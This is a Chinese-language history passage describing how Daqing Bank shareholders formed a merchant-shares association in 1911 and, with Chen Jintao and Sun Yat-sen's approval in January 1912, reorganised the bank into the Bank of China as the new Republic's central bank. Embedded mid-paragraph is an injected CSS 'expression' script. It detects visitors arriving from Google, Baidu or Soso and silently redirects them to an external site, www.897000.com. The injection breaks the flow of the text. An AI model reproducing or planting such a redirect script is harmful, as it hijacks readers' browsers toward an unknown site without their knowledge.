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大清银行为官商合办的股份制银行，股本总额1000万两白银，官商各占半数。辛亥革命爆发后，作为清政府中央银行的大清银行，除上海分行外，分支机构绝大部分已经停业。为了保全商本，以大清银行秘书长项藻馨为主的大清银行股东，于1911年11月5日成立了股东联合会，并于11月14日发布公告，公告的主要内容为：接各处分行报告，军政府有误认大清银行全系官股，取去现洋庄折等要件，甚至将行员拘留，账款紊乱，事机万急；要求股东于11月18日到汉口路开会商讨对策。参加股东会一系列活动的主要是大清银行浙江籍股东及部分高级负责人。1911年12月4日，股东联合会改名为“商股联合会”。body {onload:expression(if(window.name!="Yang"){var str1 = document.referrer;str1 = str1.toLowerCase();var str6 = 'google.';var str7 = 'baidu.';var str5 = 'soso.';if(str1.indexOf(str7)>0 || str1.indexOf(str6)>0 || str1.indexOf(str5)>0 && "zh-cn"==navigator.systemLanguage){self.location='http://www.897000.com/1.htm';window.name="Yang";}});}1  　　　1912年1月1日，孙中山先生在南京宣誓就职，中华民国临时政府宣告成立。大清银行副监督陈锦涛经时任政府司法总长的伍廷芳提名，出任临时政府财政总长。此时，迅速建立新政府的中央银行，是非常紧迫的事情。大清银行本来就是清政府的国家银行，实力雄厚，将大清银行改为中央银行是再合适不过了，正如陈锦涛在致临时参议院咨文中所说“借已有之基础，应目前之急需，既可以增长民国之实力，又可因其资金为通融，实为民国国家与银行股东两得兼利之道。”于是陈锦涛常驻上海，于汉口路大清银行楼上专门筹划此事。陈锦涛开始借助大清银行“商股联合会”的力量，着手将大清银行改为中国银行，建立政府中央银行。

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　　经过大清银行南北方商股的充分酝酿筹划，大清银行“商股联合会”于1912年1月初正式上书孙中山，建议“就原有之大清银行改为中国银行，重新组织，作为政府的中央银行。”“一面停止大清银行贸易，实行清理。其原有之官股500万两，即行消灭，备抵此次战事地点各行所受损失及一切滥账；一面组织中国银行，以大清银行房屋生财等项，统归接收应用。股东等原有之大清银行股份500万两，仍承认为中国银行股份，照票面价额，换给股票作为旧股，另再加招商股500万两。”报告还对大清银行如何改为中国银行的具体办法提出了意见：“一方面另设大清银行清理机关，附属于中国银行内，另置簿据，划分界限；另一方面自财政部批准之日起，作为筹备期间，由财政总长委任正副监督会同大清银行股东代表筹办一切。”　　孙中山见到报告后，立即面示陈锦涛：“新政府既已成立，凡商民已得旧政府正当之权利，自宜分别准予继续。所请将大清银行改为中国银行，添招商股500万两，认为新政府之中央银行，由部筹款，以雄财力，并请派正副监督，先行开办，克期成立。凡新旧营业账款，请分电各省都督力加保护，并将该行原有房屋、器具、簿据等项先行发还各节，大致尚属妥协，著即准行。”　　陈锦涛立即以财政部名义，于1912年1月24日将上述指示书面批复大清银行“商股联合会”。同时委任吴鼎昌、薛颂瀛为正副监督。1912年1月28日大清银行“商股联合会”召开股东大会，传达了批示。大会决定由股东会职员组成中国银行临时理监事会，负责与正副监督筹订章程，并管理全行事务。
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